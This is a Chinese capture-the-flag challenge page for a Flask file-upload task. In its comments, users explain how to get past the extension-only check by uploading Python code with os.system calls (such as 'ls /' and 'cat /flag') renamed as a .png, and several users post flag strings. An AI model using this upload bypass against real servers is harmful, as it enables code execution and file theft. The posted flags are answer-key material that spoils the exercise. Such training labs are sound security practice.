Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 11996
提  示:
描  述:
Flask_FileUpload
评论
chaojiikun 3月前

os.system()执行命令

回复 0

Wang_Micro 4月前

flag{bf686c3799aa1aa32c4c8b025bba84a7}

回复 1

tkStar 7月前

先看源码,只检查了后缀是png,上传包含系统命令的python文件,后缀改成png就行

回复 0

2808476708 7月前

flag{abe11096bb1215a2a5f8696f4ab98f1f}

回复 0

yvonne 7月前

import os 换行 os.system()

回复 0

1uxu4y 7月前

flag{a04e45c0960f5413e9847ea5d666d5d5}

回复 0

18835508637 8月前

flag{8b6840315d0d9b357abeb8cfe1dbeb5a}

回复 0

tot1987 8月前

新建txt,输入: import os os.system('ls /') 保存为a.png,然后上传,发现根目录下有个flag, 然后在修改txt内容为: import os os.system('cat /flag') 保存后,再上传,在新页面中查看源码,得到flag

回复 6

Chibits 8月前

import os os.chdir('..') print(os.listdir('.')) os.system('cat flag')

回复 0

不会写代码的菜鸟 8月前

作为一个没学过python的小菜鸡,能告诉我为啥要import os吗?我还以为直接 LS cat /flag就可以

回复 0
Life000 8月前

因为python执行系统命令需要os这个库

回复 0

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

ct1640 攻破了该题 20小时前
sun_space 攻破了该题 2天前
liuliuliu666 攻破了该题 3天前
1031368023 攻破了该题 3天前
1748684229 攻破了该题 4天前
哈哈哈嘿嘿嘿 攻破了该题 5天前
冯123456 攻破了该题 5天前
shingu 攻破了该题 5天前
17852461268 攻破了该题 6天前
二五一十七 攻破了该题 8天前
RISE 攻破了该题 9天前
tao341024 攻破了该题 9天前
smtall 攻破了该题 9天前
qifeifei 攻破了该题 10天前
不知道叫什么 攻破了该题 11天前
看writeup刷题 攻破了该题 11天前
1926104116 攻破了该题 11天前
ooultron 攻破了该题 13天前
yangyangbao 攻破了该题 14天前
Nora 攻破了该题 14天前
问题反馈